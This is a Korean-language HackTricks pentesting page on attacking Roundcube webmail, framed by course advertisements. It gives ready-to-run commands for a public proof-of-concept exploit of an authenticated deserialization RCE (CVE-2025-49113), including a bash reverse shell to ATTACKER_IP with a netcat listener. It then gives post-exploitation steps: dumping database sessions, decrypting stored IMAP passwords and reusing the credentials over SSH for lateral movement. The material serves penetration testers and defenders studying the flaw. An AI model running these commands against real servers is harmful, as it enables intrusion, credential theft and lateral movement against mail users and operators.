Roundcube
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
개요
Roundcube는 일반적으로 HTTP(S) vhosts(예: mail.example.tld)에 노출되는 PHP webmail 클라이언트입니다. 유용한 fingerprints:
- HTML 소스는 종종 leaks rcversion (e.g., window.rcmail && rcmail.env.rcversion)
- 컨테이너/VM의 기본 앱 경로: /var/www/html/roundcube
- 주요 설정 파일: config/config.inc.php
Authenticated RCE via PHP object deserialization (CVE-2025-49113)
Affected versions (per vendor/NVD):
- 1.6.x before 1.6.11
- 1.5.x before 1.5.10
버그 요약
- program/actions/settings/upload.php의 _from 파라미터는 검증되지 않아 공격자가 제어하는 데이터를 주입할 수 있습니다. Roundcube는 이후 이 데이터를 unserialize하여 gadget chain 실행 및 웹 컨텍스트에서의 remote code execution (post‑auth)으로 이어집니다.
빠른 익스플로잇
- 요구 사항: 유효한 Roundcube 자격증명과 접근 가능한 UI URL(예: http://mail.target.tld)
- 공개 PoC는 세션 처리, gadget crafting 및 업로드 플로우를 자동화합니다
git clone https://github.com/hakaioffsec/CVE-2025-49113-exploit.git
php CVE-2025-49113.php http://mail.target.tld USER PASS CMD
# examples
php CVE-2025-49113.php http://mail.target.tld user 'pass' "id"
# blind timing proof
time php CVE-2025-49113.php http://mail.target.tld user 'pass' "sleep 5"
# reverse shell
nc -nvlp 443
php CVE-2025-49113.php http://mail.target.tld user 'pass' \
"bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'"
노트
- 출력은 종종 보이지 않습니다; RCE를 확인하려면 sleep N을 사용하세요
- 생성된 셸은 일반적으로 www-data로 실행됩니다; 컨테이너화된 배포에서는 /.dockerenv 및 172.17.0.0/16 네트워크를 예상하세요
Post‑exploitation: Roundcube 세션에서 IMAP 비밀번호 복구
Roundcube는 현재 사용자의 IMAP 비밀번호를 세션 (database)에 저장하며, config.inc.php에 설정된 서버‑측 3DES 키로 암호화되어 있습니다. Roundcube 호스트에서 filesystem 또는 DB 접근 권한이 있으면 평문 비밀번호를 복구하고 다른 메일박스/services로 pivot할 수 있습니다 (SSH 재사용이 흔함).
- config에서 DB DSN과 3DES 키 읽기
config/config.inc.php typically contains:
$config['db_dsnw'] = 'mysql://roundcube:DB_PASS@localhost/roundcube';
$config['des_key'] = 'rcmail-!24ByteDESkey*Str'; // 24‑byte key (3DES)
- DB에 연결하여 sessions를 dump
mysql -u roundcube -p roundcube
# or: mysql -u roundcube -pDB_PASS roundcube
mysql> SELECT id, created, changed, vars FROM session\G
session.vars 필드는 Roundcube’s encrypt(): Base64( IV || 3DES-CBC(plaintext) )가 생성한 Base64 블롭입니다. Base64‑decoding 후 첫 8바이트가 IV입니다.
- 비밀번호 필드 찾기
복호화된 구조 안에서 자격 증명을 빠르게 찾아내는 방법은 먼저 vars field를 Base64‑decode하고 직렬화된 항목을 육안으로 살펴보는 것입니다:
echo 'BASE64_FROM_VARS' | base64 -d | tr ';' '\n' | grep -i password
- Roundcube의 helper를 사용해 Decrypt
Roundcube는 같은 rcmail->decrypt() 로직과 구성된 des_key를 사용하는 CLI를 제공합니다:
cd /var/www/html/roundcube
./bin/decrypt.sh CIPHERTEXT_BASE64
# -> prints plaintext
- 수동 3DES-CBC 복호화 (선택)
- Ciphertext format: Base64( IV(8B) || CT )
- Alg: 3DES-CBC, key length 24B, PKCS#7 padding
from base64 import b64decode
iv_ct = b64decode('hcVCSNXOYgUXvhArn1a1OHJtDck+CFME')
iv, ct = iv_ct[:8], iv_ct[8:]
print(iv.hex(), ct.hex())
# decrypt(ct) with key = $config['des_key'], IV = iv
일반 위치
- DB 테이블: session (users 테이블은 로그인 이름을 ID로 매핑)
- 설정 경로: /var/www/html/roundcube/config/config.inc.php
운영 시 사용
- 이전 session 행에는 과거 사용자의 IMAP passwords가 포함된 경우가 많습니다; 여러 항목을 decrypt하여 다른 mailboxes로 laterally move 하세요
- credential reuse가 의심되면 복구한 credentials를 SSH 또는 다른 서비스에 대해 시도해보세요
참고자료
- Roundcube security updates 1.6.11 and 1.5.10
- CVE-2025-49113 – NVD
- FearsOff research notes on Roundcube deserialization/RCE
- hakaioffsec/CVE-2025-49113-exploit (PoC)
- Roundcube bin/decrypt.sh helper
- HTB Outbound – 0xdf write‑up (Roundcube 1.6.10 → RCE → session decrypt pivot)
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks

